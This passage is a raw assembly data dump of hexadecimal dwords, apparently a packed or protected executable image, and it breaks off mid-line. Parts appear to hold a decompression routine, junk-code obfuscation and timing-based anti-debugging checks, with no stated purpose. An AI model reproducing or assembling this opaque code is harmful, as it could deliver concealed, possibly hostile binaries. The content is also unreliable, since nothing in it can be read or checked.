60000000h, 0B70F6061h dd 0F4B61F1h, 685h, 0D1950100h, 89060704h, 72BE5BDh, 29F94606h dd 7313D9Dh, 0FDB0B06h, 0FFFF4F85h, 418D29FFh, 0CF060718h dd 0DE9h, 0A8946D00h, 8C2A1229h, 8071DD42h, 0CE9Ch, 68F0Fh dd 8D890000h, 6070B29h, 880F0000h, 6, 155D9529h, 8D890607h dd 60706F5h, 10E90000h, 8A000000h, 0A0DB22D6h, 0DB4BD4D5h dd 3E19F5ABh, 0D2CC49h, 0CE900h, 0EF3E0000h, 346005D4h dd 0FEFE6E16h, 11E9730Eh, 56000000h, 3B73F31Dh, 0EB71F636h dd 772531C0h, 261FD003h, 3A13858Dh, 10E90607h, 0D9000000h dd 2BEE6F0Fh, 0B6ADA348h, 509BDA77h, 89F5C8F4h, 7182985h dd 65853106h, 8D060723h, 73E5E85h, 0E850F06h, 0E9000000h dd 9, 850AD131h, 0B40530F7h, 95858974h, 0EB060710h, 14h dd 3 dup(0) dd 8B00h, 8C858D00h, 89060741h, 720D185h, 0CCBD8306h, 60740h dd 12C840Fh, 85C60000h, 6071C4Dh, 4E856h, 6D390000h, 8B50D41Fh dd 8B042444h, 24448900h, 0B5FF5804h, 60701A9h, 3A13858Dh dd 0D0FF0607h, 40C08589h, 85C60607h, 6071C4Dh, 8FDC6856h dd 481440Dh, 9B287624h, 0A9B5FF58h, 8D060701h, 73A1385h dd 89D0FF06h, 740C485h, 68046A06h, 0A39176ECh, 14240481h dd 8B5C6E99h, 740D085h, 1F40506h, 0E0C10000h, 4895002h dd 0FF006A24h, 740C495h, 0C8858906h, 8B060740h, 0FFFFB8D8h dd 95FFFFFFh, 60720D1h, 95FFC38Bh, 60720D1h, 8DE9h, 0CCBD8300h dd 60740h, 1850Fh, 57C30000h, 40C8BD8Bh, 83AB0607h, 740C885h dd 0C35F0406h, 40CCBD83h, 0F000607h, 185h, 8360C300h, 740C8ADh dd 9D8B0406h, 60740C8h, 0FFFC7B83h, 1D850Fh, 58680000h dd 8126A776h, 0F6582434h, 6A26A7h, 95FF33FFh, 60740C0h dd 26E9C361h, 0E8000000h, 4, 8000h, 24448B50h, 89008B04h dd 58042444h, 33FF006Ah, 40C095FFh, 0AD830607h, 60740C8h dd 0FFA8E904h, 0E948FFFFh, 1ADh, 24748B60h, 247C8B24h dd 80B2FC28h, 8846068Ah, 2BB4707h, 2000000h, 5850FD2h dd 8A000000h, 0D2124616h, 0FFE2830Fh, 0D202FFFFh, 5850Fh dd 168A0000h, 0FD21246h, 6A83h, 2C03300h, 5850FD2h, 8A000000h dd 0D2124616h, 12A830Fh, 0D2020000h, 5850Fh, 168A0000h dd 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h, 850FD202h dd 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h, 0D2124616h dd 840FC013h, 6, 8AF82B57h, 7885F07h, 2BB47h, 70E90000h dd 0B8FFFFFFh, 1, 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h dd 8A000000h, 0D2124616h, 0FFDE820Fh, 0C32BFFFFh, 1BBh dd 34850F00h, 0B9000000h, 1, 850FD202h, 5, 1246168Ah, 2C913D2h dd 5850FD2h, 8A000000h, 0D2124616h, 0FFDE820Fh, 8B56FFFFh dd 0F3F52BF7h, 8E95EA4h, 48FFFFFFh, 8A08E0C1h, 0E88B4606h dd 1B9h, 0FD20200h, 585h, 46168A00h, 0C913D212h, 850FD202h dd 5, 1246168Ah, 0DE820FD2h, 3DFFFFFFh, 7D00h, 22830Fh dd 3D0000h, 0F000005h, 0E82h, 8B564100h, 0F3F02BF7h, 0B4E95EA4h dd 83FFFFFEh, 870F7FF8h, 3, 5602C183h, 0F02BF78Bh, 0E95EA4F3h dd 0FFFFFE9Bh, 3346068Ah, 1E8C0C9h, 17840Fh, 0D1830000h dd 56E88B02h, 0F02BF78Bh, 0BB5EA4F3h, 1, 0FFFE76E9h, 247C2BFFh dd 247C8928h, 8C2611Ch, 929BA00h, 0D3E90000h, 0D000009h dd 0C623AF5Eh, 6D735D33h, 18C1B0E0h, 15CEAFD9h, 0F7C038DEh dd 23EF5A0Dh, 91BBB342h, 5015979Ch, 0CD2EAF78h, 7F7B5171h dd 992E2F7h, 1A8BA8CBh, 87A35795h, 3EFB5007h, 91E9BF43h dd 5F13959Ch, 0D72EAF7Bh, 65664E71h, 158CE2E8h, 0E9CB3D5h dd 0B3C03C9Bh, 3EFF474Bh, 90BBF252h, 4B1380D2h, 0D137AF6Dh dd 6B664F3Eh, 0ECE8h, 62h dup(0) dd 0D000000h, 0CC2AAF5Eh, 6560413Fh, 291E2F7h, 169CBBD7h dd 0B6C67DD6h, 28F81518h, 82E9FD43h, 5A128C9Dh, 0CD32FD3Fh dd 6D7A413Fh, 508FABA5h, 59BB3C1h, 0A4D72E9Bh, 63F7501Fh dd 88999E2Ch, 5B0F9897h, 0CD32AF33h, 6E75473Dh, 5095ABA5h dd 1A81AEDEh, 0BACB309Bh, 6DE34704h, 0C4ADFD47h, 4A0F9C80h dd 8333FD7Eh, 78614728h, 1F93B2A5h, 1A8FAEDFh, 95h, 47h dup(0) dd 0D000000h, 0D124AF5Eh, 6F7F4B30h, 5092E5F7h, 1B81B3CCh dd 0A4CF359Bh, 28FF574Bh, 8BAFB348h, 1E189787h, 0CD29FA6Dh dd 2A734638h, 9C1ACECh, 579CA9D7h, 0A3DD24C8h, 47B4580Eh dd 81A5C32Bh, 12198A93h, 0CF29FA3Fh, 2A70493Eh, 16C1B6ECh dd 5783B3CAh, 0B8C338D6h, 2CBA4C19h, 96E9F748h, 5F088A97h dd 0DA67FB6Dh, 2A665D3Eh, 178EB0F5h, 5983BDCAh, 61h dup(0) dd 0D000000h, 0C62BE659h, 787B4B71h, 491B7F7h, 59CFB8DDh dd 0BEC6099Bh, 3FEA1518h, 85BBF449h, 5F14D99Fh, 0C625AF6Ch dd 67344634h, 88ACE4h, 38FB0CDh, 0B68E39DEh, 20BA5105h dd 81ABEA47h, 4A15F4F8h, 0CA67FC38h, 69714E3Fh, 5085A7F1h dd 16CEA5DAh, 0A5C70B9Bh, 22BA461Eh, 96AAB354h, 5B179A93h dd 0F767A17Bh, 2A674139h, 158DABE3h, 1981AB98h, 0A08E299Ch dd 6DF14704h, 89B0FD47h, 10198B9Dh, 0E0h dup(0) dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8 dup(0) dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0 dd 0E4E90000h, 2900002Ch, 72EE58Dh, 0B531FC06h, 6070755h dd 6660C08Bh, 8931BFBBh, 7236D85h, 0AE96106h, 66000000h dd 28DE245Eh, 0B408D7F1h, 1BD8309h, 60731h, 0BD830975h dd 6070A55h, 50137400h, 0B8C08B53h, 1, 0B2949D8Dh, 0D3FF0609h dd 0BD83585Bh, 6070A55h, 50117400h, 1B853h, 9D8D0000h dd 609B145h, 585BD3FFh, 196DBD89h, 958B0607h, 607093Dh dd 8AF8C08Bh, 0E5BD83F4h, 60723h, 149840Fh, 0DA810000h dd 105D7B09h, 150DBD83h, 0F000607h, 13684h, 0D3BF0F00h dd 91BD8960h, 8B060725h, 7150D85h, 9ACE8006h, 3E805h, 0FB8B6000h dd 30E59D01h, 50610607h, 60535250h, 310F5B61h, 11E9h, 57412C00h dd 0A36491CAh, 0B8AE2369h, 114CE839h, 585A1F44h, 31240489h dd 70FE185h, 90858D06h, 0B706074Dh, 0D38B50E7h, 0E8240489h dd 0Bh, 0DB50E87Dh, 0A8461B3Eh, 8998615Bh, 72B659Dh, 9D8B5A06h dd 6071059h, 4D6E858Dh, 8B600607h, 72CB99Dh, 61CC8A06h dd 58B0F90h, 0BA000000h, 45F654ACh, 35D5BA50h, 0BA9010CDh dd 65972454h, 1EB195FFh, 95230607h, 6072CE5h, 83D6BF0Fh dd 11E90CC4h, 86000000h, 0EBE2A092h, 50B7D1Bh, 0A3EE17FDh dd 0DBC2DCFBh, 0F4F18060h, 0EE960h, 73AB0000h, 5D4089F3h dd 973EBF26h, 94AB6C46h, 8D6161F5h, 74D6E85h, 870F9006h dd 3, 50DF8B66h, 90D88B66h, 10E8h, 44656D00h, 5403DB23h dd 42A3677Fh, 0BA2A78DAh, 0FC5AF54Ch, 830F026Ah, 12h, 0DE9h dd 9FD14C00h, 73F0020Eh, 2A70E526h, 95FF4E62h, 688574h dd 61D18B66h, 0C7D3BF0Fh, 74DA185h, 106h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0F59D8B2Fh, 50060703h, 989F05BBh, 24348956h, 0B589E7B3h dd 6074D52h, 83D0BF0Fh, 71995BDh, 850F0106h, 1Dh, 83E5CE80h dd 850F05F8h, 11h, 2159D8Bh, 0B80607h, 8B000000h, 716B59Dh dd 0D5BD8306h, 60705h, 29840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 9C1E7C3h dd 0B8DA8B66h, 0 dd 60C4D280h, 10E59D8Bh, 0EB810607h, 3C7C9608h, 749858Bh dd 0CE90607h, 0DA000000h, 516A38DBh, 0FB4F9DE3h, 83802EE8h dd 952302C0h, 60726ADh, 4D4A8589h, 0FE90607h, 96000000h dd 0B80B6ACAh, 0DC5A87ECh, 0CFF2D273h, 0C6A5D4h, 8E9FFh dd 0FC500000h, 8D709E15h, 85C69628h, 6071C4Dh, 0E1958B53h dd 68060704h, 0D86EBDB7h, 52505250h, 0FDE8B66h, 0F585A31h dd 3850F31h, 66000000h, 585AD18Bh, 21240481h, 8124428Bh dd 0AAB8DAD2h, 0EDB5FF25h, 6A060712h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0F6F0C351h dd 0D3816660h, 81660B9Ch, 61BC89E7h, 3860Fh, 8B660000h dd 0FE858DD1h, 0E9060A7Ch, 13h, 2C925A45h, 2A23C56Fh, 8992B9B3h dd 8D0948E1h, 0FFC9E9A7h, 0DB8151D0h, 218A16C4h, 959D8B5Ah dd 8906072Eh, 7320185h, 19958B06h, 83060723h, 721E1BDh dd 850F0106h, 0E0h, 0D5F947BAh, 6A6167h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 25EDD8C3h dd 0CE20703Bh, 2830Fh, 0DE8B0000h, 1C4D85C6h, 0F450607h dd 0BBDEBFh, 682F60EEh, 8ED0A630h, 92240481h, 0E84B8F92h dd 6, 0E23BFFA1h, 95094984h, 6072DC9h, 0ADD6805Ah, 12EDB5FFh dd 0E9600607h, 9, 82363FCCh, 5B3E1B56h, 9E82Fh, 0F6920000h dd 59909EB5h, 66879324h, 5A543EBBh, 0FE858D61h, 6A060A7Ch dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 816CC352h, 0C07292B8h, 52D78B3Eh, 68F0Fh dd 9D8B0000h, 60705FDh, 0BBD0FF5Ah, 0DBC5B7Dh, 0BD01006Ah dd 6071565h, 51BAD0FFh, 0F7518EFh, 389h, 8DE38000h, 2C21BD83h dd 0F010607h, 9585h, 4880F00h, 66000000h, 8BDB39BAh, 7074985h dd 0D18D8906h, 0E9060716h, 5Eh, 15EA7ABBh, 90DE8A51h, 72D8BA66h dd 6A9050h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 0FCF5C4C3h, 6DF6DA48h, 0B9858912h, 8B06072Fh dd 700B59Dh, 0F146A06h, 68Dh, 5D958900h, 0FF06071Eh, 7320195h dd 798D2906h, 5806071Dh, 515958Bh, 38800607h, 0A0850F00h dd 53FFFFFFh, 2D3D950Bh, 0C65A0607h, 89530100h, 7022995h dd 89615B06h, 71B6D9Dh, 0BDBD8306h, 6072Bh, 50840Fh, 14E80000h dd 81000000h, 43742219h, 0A99109D4h, 49F27EAh, 0AFD2FEFAh dd 891EA3E3h, 71D8185h, 0FF6A5A06h, 95FF6CB7h, 6073201h dd 38B0Fh, 8B660000h, 0FFE8E9D9h, 0BA66FFFFh, 9E86587h dd 0AF000000h, 0D2296855h, 0AC2D3B60h, 0EBE28166h, 85C75AC8h dd 6072BBDh, 1, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 57C35242h, 4D568589h, 10E90607h, 26000000h, 3ED15D0Dh dd 4FA404B1h, 0A333E218h, 0F7B092Eh, 28Dh, 90D68B00h, 2BB850BBh dd 8B665044h, 9D8990D7h, 6071AF5h, 53006A60h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 1F1BFD21h dd 3817A79Bh, 56A79E6h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 6FC35343h, 6934E978h, 81ACC55Eh, 0C8417ECAh dd 6E858D58h, 8B06074Dh, 7155D9Dh, 52509006h, 0D18B310Fh dd 9050585Ah, 899D89F8h, 8D06071Fh, 74D5E85h, 0DA8B5206h dd 0BB66905Bh, 5650C189h, 905B1AB7h, 0B819589h, 95FF0607h dd 6072D55h, 6830Fh, 0BD010000h, 60718EDh, 7A408D8Dh, 6A0607h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 9EB158C3h, 0A17877B4h, 0B8D1D00h, 8D1174C0h, 74D6E85h dd 0D1FF5006h, 4D8C8589h, 0AEB0607h, 4D8C85C7h, 0FFFF0607h dd 6AFFFFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0FEBAACC3h, 0CD804892h, 0D88B5C51h, 50006A61h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0C60369C3h, 71C4D85h, 9D894D06h, 6073089h, 4E8h, 3576A800h dd 50BDB3A4h, 448BDF8Bh, 52500424h, 0DE9h, 6CE3500h, 0C5912D1Eh dd 0B4C8AD15h, 310FAA49h, 48E0Fh, 0BB660000h, 585A848Ah dd 5A53008Bh, 4244489h, 0D88B5250h, 5250310Fh, 0E9F07ABBh dd 0B7310F60h, 5A585A04h, 9D015858h, 6070B85h, 0DE8h, 0D4F14700h dd 0D2BA1877h, 89139C53h, 0FF5A73A0h, 72C7DB5h, 0EE806h dd 0B86A0000h, 26EFA0B5h, 20E74FB9h, 0AC1AFCDFh, 8A99D8Bh dd 8D5A0607h, 0A7CFE85h, 35952B06h, 0FF060710h, 10E8D0h dd 0A47F0000h, 47B3B858h, 841A64C2h, 479BFF41h, 8F0FC7BAh dd 5, 0A2ED5FBBh, 85895B2Ah, 60719A5h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 0EBC35747h, 4D85C63Eh, 4506071Ch dd 68D0Fh, 95890000h, 6070C85h, 4E8h, 72696900h, 0B890F8Eh dd 60000000h, 201B3EB9h, 6CB96627h, 505061B3h, 0FD98B52h dd 50525031h, 5A310F52h, 0E8310F58h, 5, 5E05927Dh, 585A5B09h dd 448B585Ah, 9AB20424h, 0BA66008Bh, 4489533Fh, 8B660424h dd 0BF0F58D0h, 8A0F56D7h, 3, 5A2EF680h, 12EDB5FFh, 6A0607h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0B4A762C3h, 8BB560AEh, 2FFD858Bh, 8B610607h, 7105995h dd 0FE858D06h, 89060A7Ch, 719CD9Dh, 6AD0FF06h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 1CBBC353h, 0BA3F0DC8h, 329F90DEh, 1F398589h, 9D8B0607h dd 6072BA1h, 19899533h, 0D28B0607h, 9E9h, 5C89F700h, 4087425Eh dd 958BF36Bh, 607181Dh, 8BD98C66h, 7211595h, 4C1F606h dd 255840Fh, 8B660000h, 121E9D3h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 0CCF7C1C3h dd 89C75CA0h, 71A1595h, 0C9B58B06h, 6A060729h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 42C5C357h, 0B8F0C11Ch, 1ABA669Bh, 80C68170h, 6A000011h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 8ADFC356h, 4DBD83F0h, 60704h, 1F850Fh, 3EBA0000h dd 0E87DAA0Ah, 9, 32BCD0CAh, 0CFB7333h, 8D953133h, 5A060715h dd 72E9h, 3E8300h, 69840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0A6F3BAC3h dd 0D71C02Bh, 60716B6Eh, 6810Fh, 85090000h, 60725F5h, 0DA80146Ah dd 195FF61h, 6A060732h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 5220C351h, 5A27D380h dd 0EBE78061h, 0FFFF90E9h, 0C779B2FFh, 106h, 0BDB50100h dd 83060703h, 74D56BDh, 850F0506h, 11Fh, 0C80BE381h, 0B58B58E5h dd 6071F39h, 0D0BF0F53h, 64B95Bh, 89560000h, 71AA18Dh dd 95295B06h, 6073369h, 0FE83E80h, 5284h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 3E243EFAh, 158D89AEh, 0E906071Ah dd 5Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h dd 53C35040h, 8AF15823h, 0EDBD29DCh, 8006071Dh, 0FC2057Eh dd 6984h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 5A9FBD6Ch, 0CAC28004h, 1695BD89h dd 3460607h, 733019Dh, 850F4906h, 0FFFFFF64h, 58E9BCB2h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 0F972C350h, 6D29ED54h, 4AA5783Bh dd 3C58501h, 0B5890607h, 60700A5h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 3EC35545h, 42BB66ABh, 559D8BD2h dd 58060718h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 1BC35242h, 8BB72977h, 7221195h, 81BD8306h, 60722h dd 0F1840Fh, 8E80000h, 0FA000000h, 9EE43CE3h, 5BB8CDF1h dd 79858960h, 5706071Dh, 85C65BFCh, 6071C4Dh, 1D958B54h dd 68060733h, 0B50E093Eh, 7E8h, 61519800h, 6B1C0C36h, 1BEFBA66h dd 2404815Ah, 4A40B5B6h, 2A3315BBh, 0EDB5FF76h, 6A060712h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 63FAC357h, 1A799D8Bh, 62B60607h, 7CFE858Dh dd 14E9060Ah, 60000000h, 7D2C482Eh, 0F68E8DA6h, 0A6C3FFB9h dd 0F920F1FBh, 0FFCB3D0Ah, 0D9BD29D0h, 6A060732h, 8B665000h dd 0B5FF5BD9h, 6072281h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 0CCC35747h, 0FF85418Ah, 0A1D381D0h, 61782D62h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 29C35242h dd 361445F8h, 0C7F58E39h, 70BD185h, 106h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0DF793EC9h, 4D96D75Fh, 157D958Bh, 0E9600607h, 12h, 0A9FC644Ch dd 338349EFh, 96D0C452h, 3580A040h, 4E8B836h, 80000000h dd 52000000h, 5BDF8B66h, 8BFA8A50h, 0E9042444h, 0Fh, 0B06E30DAh dd 2B1DBEC4h, 47763251h, 8B4A27EFh, 0FE900h, 870E0000h dd 1830D41Ch, 8213DFDDh, 4D264B51h, 244489F6h, 6A5804h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 58BBB6C3h, 0E8743B19h, 0Dh, 18C5823Fh, 35E14C58h, 0A148095Dh dd 0B99D89F0h, 5B06070Bh, 8D89FF6Ah, 607152Dh, 2F55B589h dd 95FF0607h, 6072C91h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0AFC35343h, 88BE09ABh, 68B0Fh, 9D890000h dd 6070A81h, 52006A61h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 5C994116h, 5BE8B656h, 5043B390h dd 0E99084B7h, 0Bh, 355B8CD9h, 947E429Fh, 8B1AEB23h, 72EF585h dd 31BD8906h, 5606070Bh, 0BE9h, 0FEBFE600h, 0A1C695DDh dd 91DEBF06h, 0FC00B5Ah, 1C84h, 8E900h, 858C0000h, 7F4471D9h dd 95319197h, 6071B21h, 2C2995FFh, 0B70F0607h, 7985C7D2h dd 106070Ah, 0F000000h, 38Bh, 0DA8B6600h, 0BD83D98Ah, 6071B2Dh dd 0C840F00h, 66000000h, 95FFD78Bh, 607022Dh, 83D38B66h dd 73015BDh, 840F0006h, 13h, 15DD9D09h, 0FFF50607h, 7159D95h dd 5DB53106h, 8306071Eh, 70121BDh, 840F0006h, 1Dh, 83D08B66h dd 708F1BDh, 850F0006h, 0Dh, 95FFDF8Bh, 607037Dh, 58171DBBh dd 0ADBD835Ch, 6071Fh, 46840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0EF89B8C3h dd 0A818D01h, 85810607h, 6072BADh, 4003h, 22019D89h, 0C2810607h dd 27209061h, 217D8581h, 40030607h, 0E7B30000h, 0FE9310Fh dd 0E5000000h, 0B8BF506Ch, 824FAEB0h, 6965B035h, 8D8D20CDh dd 6075C39h, 0C5BD09h, 1890607h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 6BC35747h, 0F5F3BFAh, 689h dd 0A99D8B00h, 89060723h, 72105B5h, 6AC23306h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 0D413C357h, 0E0BD3F19h, 0BD898C0Fh, 6072FC5h, 0F8D958Bh dd 41890607h, 99D8B04h, 0F060707h, 51006A31h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 176B94A6h dd 0D38B66DCh, 5C4F8D8Dh, 7E80607h, 38000000h, 65E419EBh dd 9D2B7655h, 6072AD1h, 5301895Bh, 335A48B2h, 55006AC2h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0BE0891A6h, 0A9815F79h, 0D7BBF27Ah, 897D1D9Dh, 6A0441h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 106ED0C3h, 94DAB6C6h, 0CE8F5AFh, 50000000h, 43440580h dd 0A700564h, 89DA62FEh, 710B98Dh, 0BD835B06h, 6072BE9h dd 55840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 0FC5FC351h, 0FF0B5B9Ah dd 71F9995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 1D00A178h, 5163F38Dh, 5E9DE8Ah, 6C000000h dd 0CBDAC72Dh, 2B4DBD83h, 0F010607h, 8A85h, 9B50100h, 0F060715h dd 38Fh, 0D5DE8000h, 76E9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0EB8052C0h dd 0E2815AAAh, 0B4840A6h, 5E17B58Bh, 6C70607h, 0 dd 5BA5B58Bh, 6C70607h, 0 dd 51006ACFh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 9D8BF4FBh, 6070A49h, 0D99D8960h, 6606070Fh dd 8F8CF81h, 39950961h, 83060717h, 70A79BDh, 840F0006h dd 136h, 0AE9h, 23410000h, 0C29E97C6h, 83A65595h, 72A65BDh dd 850F0106h, 10Bh, 16718509h, 8D8B0607h, 6074D4Ah, 68C0Fh dd 9D8B0000h, 6073085h, 6A0001C6h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 382EC353h dd 0F1C1FFC7h, 9BBFC0Eh, 72C719Dh, 4686006h, 5236D470h dd 0E85B5760h, 10h, 9F52448Eh, 0C1C25299h, 0C603AD5Eh dd 0B2EBBBF7h, 815A615Ah, 70842434h, 516036D4h, 13E9h dd 4DD9A900h, 0A5A5F55Fh, 2A595E95h, 0E59ACE81h, 5EF171BCh dd 2B4CB85Ah, 6A611CD9h, 820FFFh, 0FF000000h, 72C9195h dd 0F19D8B06h, 6106070Ah, 6860Fh, 95090000h, 6072331h dd 1DC995FFh, 840F0607h, 4, 0A14DBB66h, 4D4A8D8Bh, 14E90607h dd 0D000000h, 0B9618AECh, 0E09EC500h, 0DCD8426h, 3974D0F2h dd 0FEF616ECh, 50006A01h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 364978CFh, 0CA58B624h dd 2D9D0B9Ch, 83060710h, 730A9BDh, 850F0106h, 2, 0C08BD78Bh dd 3101BD83h, 75000607h, 55BD8309h, 6070Ah, 53501A74h dd 858BC08Bh, 6072BADh, 2BAD8589h, 9D8D0607h, 609B3F2h dd 585BD3FFh, 0A55BD83h, 74000607h, 8B535018h, 72BAD85h dd 0AD858906h, 8D06072Bh, 9B0E19Dh, 5BD3FF06h, 8DB50158h dd 0B060717h, 7020D95h, 29C08B06h, 7220DBDh, 79BD8306h dd 6070Ah, 3D850Fh, 8B660000h, 95BD83DFh, 60722h, 2D840Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 0C2B63EC3h, 78DD733Dh, 0B24AD381h, 816638F5h dd 83C185F2h, 70A79BDh, 840F0006h, 22h, 958BDD8Ah, 607153Dh dd 1B55BD83h, 0F000607h, 0D84h, 6E800h, 0E0C30000h, 0BC4EB95h dd 0BD835AF5h, 6070A79h, 5A840F00h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0A8C0C356h, 0BF0F6045h, 6840FFEh, 31000000h, 71AE99Dh dd 13E96106h, 33000000h, 0EC5DD68Fh, 0C1A416FAh, 0D6B7A28h dd 0FB1039D0h, 0BD8381CBh, 6071B55h, 6840F00h, 0B000000h dd 70FD19Dh, 79BD8306h, 6070Ah, 51840Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0B4AE07C3h, 0C8BACD47h, 0E9068856h, 11h, 0D704DAC6h dd 0A1C1CFA5h, 0DD80B8AFh, 16264237h, 0D78B6678h, 1E81BD83h dd 0F000607h, 684h, 45952300h, 8306070Fh, 70A79BDh, 840F0006h dd 4Ah, 0DE8h, 0D2330300h, 6ED727B2h, 7B7E93ADh, 0CB3AFBBh dd 89BD835Bh, 6071Ch, 28840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 0FF8DA0C3h dd 7020995h, 0C3805206h, 0C08B5B5Eh, 2B2D8D89h, 0BD830607h dd 6073101h, 83097500h, 70A55BDh, 1A740006h, 0C08B5350h dd 217D858Bh, 85890607h, 607217Dh, 0B4599D8Dh, 0D3FF0609h dd 0BD83585Bh, 6070A55h, 50187400h, 7D858B53h, 89060721h dd 7217D85h, 0FA9D8D06h, 0FF0609B0h, 1585BD3h, 7007585h dd 1EBB6606h, 6AC08B54h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 0F99DC356h, 12C3CB6Dh dd 5EECA1ECh, 1D75958Bh, 0BD830607h, 6070A79h, 2840F00h dd 8B000005h, 7018995h, 0E1BD8306h, 2060721h, 55840Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 3F4B58C3h, 839A09FFh, 72B4DBDh, 850F0106h dd 27h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh dd 0E3C35747h, 2B636DC1h, 66530A6Fh, 8393D1BAh, 72C05BDh dd 840F0006h, 10Bh, 4459D8Bh, 81660607h, 6049DBEAh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0FBC35646h, 62BD21A1h dd 0DA249A97h, 8119D31h, 0B5090607h, 6070C19h, 4D4A8D8Bh dd 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 1A1D67C3h, 0F597EE63h, 12B701FEh, 0A89FF168h dd 9E8B9h, 49ED0000h, 74716991h, 0BB002E68h, 74F3D0DAh dd 2404815Bh, 4657608Fh, 8B66F78Ah, 6AFF6AD6h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 0B57DC355h, 0C0BB7ED3h, 71B0E1E1h, 12199D8Bh, 5BB30607h dd 2C9195FFh, 11E90607h, 0CD000000h, 0D8A7085h, 2C517DF9h dd 53EA9DB4h, 0DF6F6694h, 1D019D8Bh, 6A610607h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 0F1ACC350h, 23577833h, 72D0995h, 81665A06h, 60421CE3h dd 79D9523h, 8D8B0607h, 6074D4Ah, 0FC60D08Bh, 7D9958Bh dd 0FE610607h, 51006A01h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 4E8B0DDh, 80000000h, 66000000h dd 8A50D08Bh, 24448BF3h, 52505104h, 310F6160h, 585ADF8Bh dd 50008B5Bh, 0B2310F52h, 89585A5Bh, 0F042444h, 48Bh, 91BB6600h dd 11E858C7h, 99000000h, 0B53C22D1h, 97A8A21Ch, 0EDB67300h dd 47017783h, 5BDE8B66h, 6AFF6Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 